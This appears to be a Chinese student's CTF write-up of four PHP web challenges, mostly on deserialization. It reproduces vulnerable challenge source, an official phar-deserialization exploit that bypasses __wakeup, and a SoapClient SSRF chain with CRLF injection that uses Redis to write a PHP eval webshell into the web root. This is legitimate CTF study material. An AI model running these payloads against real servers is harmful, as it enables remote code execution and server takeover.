寄寄寄!
四道题,三道我不擅长的反序列化,寄,当时还要考试复习,结果没太多时间做,麻了都。
EasyPop
这题链子好找,也很快就找到了,但问题就在于最后一步如何绕过__wakeup
,麻了,我就卡在这里了…….
PHP序列化冷知识
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| <?php highlight_file(__FILE__); error_reporting(0); class fine { private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __invoke() { call_user_func($this->cmd, $this->content); } public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); } } class show { public $ctf; public $time = "Two and a half years"; public function __construct($ctf) { $this->ctf = $ctf; } public function __toString() { return $this->ctf->show(); } public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; } } class sorry { private $name; private $password; public $hint = "hint is depend on you"; public $key; public function __construct($name, $password) { $this->name = $name; $this->password = $password; } public function __sleep() { $this->hint = new secret_code(); } public function __get($name) { $name = $this->key; $name(); } public function __destruct() { if ($this->password == $this->name) { echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } } public function getPassword() { return $this->password; } public function setPassword($password): void { $this->password = $password; } } class secret_code { protected $code; public static function secret() { include_once "hint.php"; hint(); } public function __call($name, $arguments) { $num = $name; $this->$num(); } private function show() { return $this->code->secret; } } if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand())); } else { $a = new show("Ctfer"); echo $a->show(); }
|
hade_waibo
进来一看,cancan need
任意文件读取,把文件全扒下来,核心实在class.php
里面,肯定是phar反序列化
。
乍一看,又要绕wakeup,不过这一次有引用赋值,可以绕,当时没时间了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| <?php class User { public $username; public function __construct($username){ $this->username = $username; $_SESSION['isLogin'] = True; $_SESSION['username'] = $username; } public function __wakeup(){ $cklen = strlen($_SESSION["username"]); if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; } } public function __destruct(){ if ($this->username == '') { session_destroy(); } } }
class File { public $white = array("jpg","png");
public function show($filename){ echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>'; if(empty($filename)){die();} return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />'; } public function upload($type){ $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); return "Upload success! Path: upload/" . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this->white)){ return false; } return true; }
}
class Test { public $value;
public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); }
}
|
官方exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| class User { public $username; } class Test { public $value; } $User = new User(); $Test = new Test(); $User->a = $Test; $User->username = &$Test->value; echo serialize($User);
$phar = new \Phar("h3ne1.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar-> addFromString('test.txt','h3en1');
$phar->setMetadata($User); $phar->stopBuffering();
|
因为给实验室的新生配web靶机的docker环境,当时就顺手看看有没有start.sh
或者flag.sh
文件,然后就还真找到了
事实证明,docker运行之后,要删除的不只有环境变量,还有运行的sh脚本,谨防露牛子
start.sh
1 2 3 4 5 6 7
| #!/bin/sh echo $FLAG > /ghjsdk_F149_H3re_asdasfc export FLAG=no_flag FLAG=no_flag apache2-foreground rm -rf /flag.sh tail -f /dev/null
|
直接露牛子了吧
EasyLove
当时急着复习,这题我没看了….寄
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php highlight_file(__FILE__); error_reporting(0); class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; public function __construct($wllm,$arsenetang,$l61q4cheng,$love){ $this->wllm = $wllm; $this->arsenetang = $arsenetang; $this->l61q4cheng = $l61q4cheng; $this->love = $love; } public function newnewnew(){ $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); }
public function flag(){ $this->love->getflag(); } public function __destruct(){ $this->newnewnew(); $this->flag(); } } class hint{ public $hint; public function __destruct(){ echo file_get_contents($this-> hint.'hint.php'); } } $hello = $_GET['hello']; $world = unserialize($hello);
|
这回链子很短,先看hint
1 2 3 4 5 6 7
| <?php class hint{ public $hint="php://filter/read=convert.base64-encode/resource="; } $a = new hint(); echo serialize($a); ?>
|
获得账号密码
1 2 3
| <?php $hint = "My favorite database is Redis and My favorite day is 20220311"; ?
|
很明显,利用SoapClient
进行ssrf
然后打redis
寄,还是不会
这里也看一下怎么打redis
这里比较有趣的是,当我们利用ssrf向redis发起http请求时,低版本的Redis会将请求头的内容作为redis命令解析,那么只要我们通过CRLF控制住请求头,再配合SoapClient发起请求即可,故exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $target='http://127.0.0.1:6379/'; $poc0="AUTH 20220311"; $poc="CONFIG SET dir /var/www/html"; $poc1="SET x '<?@eval(\$_POST[1]);?>'"; $poc2="CONFIG SET dbfilename cmd.php"; $poc3="SAVE"; $a = array('location' => $target,'uri' => 'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello'); $aaa = serialize($a); $aaa = str_replace('^^',"\r\n",$aaa); $c=unserialize($aaa); class swpu{ public $wllm = 'SoapClient'; public $arsenetang = null; public $l61q4cheng; public $love; } $a=new swpu(); $a->l61q4cheng=$c; echo urlencode(serialize($a)); ?>
|
确实要学学Redis咋用了,这都看不懂
BlogSystem
这是个好题,我慢慢品一品再来做,太多涉及到我知识盲区的东西了